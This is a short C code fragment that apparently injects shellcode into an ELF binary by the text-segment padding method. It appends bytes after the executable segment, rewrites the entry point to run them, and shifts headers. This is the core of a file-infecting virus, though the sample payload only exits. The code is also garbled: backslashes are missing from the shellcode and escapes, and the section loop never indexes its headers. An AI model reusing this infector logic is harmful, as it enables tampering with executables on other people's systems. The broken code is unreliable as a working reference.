// exit(9)
unsigned char shellcode[] = "xb0x3c"
            "x40xb7x09"
            "x0fx05";




for (i = 0; i < ehdr->e_phnum; ++i)
{

    if (text_found)
    {
        phdr[i].p_offset += PAGE_SIZE;
        continue;
    }


    if (phdr[i].p_type == PT_LOAD && phdr[i].p_flags == ( PF_R | PF_X))
    {
        // set buffer  to the end of the text segment
        buffer_addr = phdr[i].p_vaddr + phdr[i].p_filesz;
        text_end = phdr[i].p_vaddr + phdr[i].p_filesz;

        printf("TEXT SEGMENT ends at 0x%xn", text_end);
        text_idx = i;

        puts("Changing entry point...");
        ehdr->e_entry = (Elf64_Addr)buffer_addr;

        memmove(mapped_file + phdr[i].p_offset + phdr[i].p_filesz,
                shellcode, buffer_len);


        phdr[i].p_filesz += buffer_len;
        phdr[i].p_memsz += buffer_len;

        text_found++;
    }


}

//patch sections

for (i = 0; i < ehdr->e_shnum; ++i)
{
    if (shdr->sh_offset >= buffer_addr)
        shdr->sh_offset += PAGE_SIZE;

    else
        if (shdr->sh_size + shdr->sh_addr == buffer_addr)
            shdr->sh_size += buffer_len;
}

ehdr->e_shoff += PAGE_SIZE;
close(fd);